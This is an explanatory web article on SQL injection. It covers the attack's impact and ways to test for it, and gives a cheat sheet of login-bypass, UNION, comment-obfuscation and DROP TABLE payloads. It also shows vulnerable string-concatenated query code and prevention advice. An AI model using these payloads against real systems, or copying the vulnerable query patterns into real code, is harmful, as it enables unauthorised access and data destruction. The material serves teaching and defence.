SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

What is the impact of SQL Injection?
Once an attacker realizes that a system is vulnerable to SQL Injection, he is able to inject SQL Query / Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database!

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to manipulate existing queries, to UNION (used to select related information from two tables) arbitrary data, use subselects, or append additional queries.

In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures, it could spell disaster.

Unfortunately the impact of SQL Injection is only uncovered when the theft is discovered. Data is being unwittingly stolen through various hack attacks all the time. The more expert of hackers rarely get caught.

How to check for SQL injection vulnerabilities

Securing your website and web applications from SQL Injection involves a three-part process:

1. Analysing the present state of security present by performing a thorough audit of your website and web applications for SQL Injection and other hacking vulnerabilities.
2. Making sure that you use coding best practice santising your web applications and all other components of your IT infrastructure.
3. Regularly performing a web security audit after each change and addition to your web components.

Furthermore, the principles you need to keep in mind when checking for SQL Injection and all other hacking techniques are the following: "Which parts of a website we thought are secure are open to hack attacks?" and "what data can we throw at an application to cause it to perform something it shouldn't do?".

Checking for SQL Injection vulnerabilities involves auditing your website and web applications. Manual vulnerability auditing is complex and very time-consuming. It also demands a high-level of expertise and the ability to keep track of considerable volumes of code and of all the latest tricks of the hacker's ‘trade'.

The best way to check whether your web site and applications are vulnerable to SQL injection attacks is by using an automated and heuristic web vulnerability scanner.

An automated web vulnerability scanner crawls your entire website and should automatically check for vulnerabilities to SQL Injection attacks. It will indicate which URLs/scripts are vulnerable to SQL injection so that you can immediately fix the code. Besides SQL injection vulnerabilities a web application scanner will also check for Cross site scripting and other web vulnerabilities.

Syntax Reference

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

• -- (SM)
  DROP sampletable;--
• # (M)
  DROP sampletable;#

Line Comments Sample SQL Injection Attacks

• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
  This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

• /*Comment Here*/ (SM)
  
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
• /*! MYSQL Special SQL */ (M)
  This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

  SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

• ID: 10; DROP TABLE members /*
  Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

SQL injection - Sample Attack:

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist

FROM table

WHERE field = '$EMAIL';

Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist

FROM table

WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist

FROM table

WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

Forms of SQL injection vulnerabilities

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.

The following line of code illustrates this vulnerability:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

This SQL code is designed to pull up the records of a specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as

a' or 't'='t

renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = 'a' OR 't'='t';

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.

While most SQL Server implementations allow multiple statements to be executed with one call, some SQL APIs such as php's mysql_query do not allow this for security reasons. This prevents hackers from injecting entirely separate queries, but doesn't stop them from modifying queries. The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "data" table (in essence revealing the information of every user):

a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%

This input renders the final SQL statement as follows:

SELECT * FROM Users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';

Incorrect type handling

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

1;DROP TABLE users

will drop (delete) the "users" table from the database, since the SQL would be rendered as follows:

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

Preventing SQL Injection

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

There are several steps that you can take to reduce the possibility of a SQL injection attack against your database:

• Escape single quotation marks. Include code within your Web applications that replaces single apostrophes with double apostrophes. This will force the database server to recognize the apostrophe as a literal character rather than a string delimiter.
• Limit the privileges available to the account that executes Web application code. In the example above, if the account only had permission to perform the intended action (retrieving records from the Shipping table), the deletion would not be possible.
• Reduce or eliminate debugging information. When an error condition occurs on your server, the Web user should not see technical details of the error. This type of information could aid an intruder seeking to explore the structure of your database.
• Educate your developers. Make sure that the people responsible for developing code within your organization are aware of the seriousness of the threat and the simple steps that they may take to help safeguard your servers.
• Test your Web applications. Spot-check the work done by your developers. One simple check that you can do is to place single quotation marks within the data sent to your server. If you receive an error response of any kind, chances are you're vulnerable to an SQL injection attack.

Using Escaping

A straight-forward, though error-prone way to prevent injections is to escape dangerous characters. For instance, every occurence of a single quote (') in a parameter must be replaced by two single quotes ('') to form a valid SQL string literal. In PHP, for example, it is usual to escape parameters using the function mysql_real_escape_string before sending the SQL query:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'", mysql_real_escape_string($Username),  mysql_real_escape_string($Password));

mysql_query($query);

However, escaping is error-prone as it relies on the programmer to escape every parameter. Also, if the escape function fails to handle a special character correctly, an injection is still possible.

References:

Please check the following links for further references on this topic:

SQL injection in wiki

SQL Injection

Preventing SQL Injections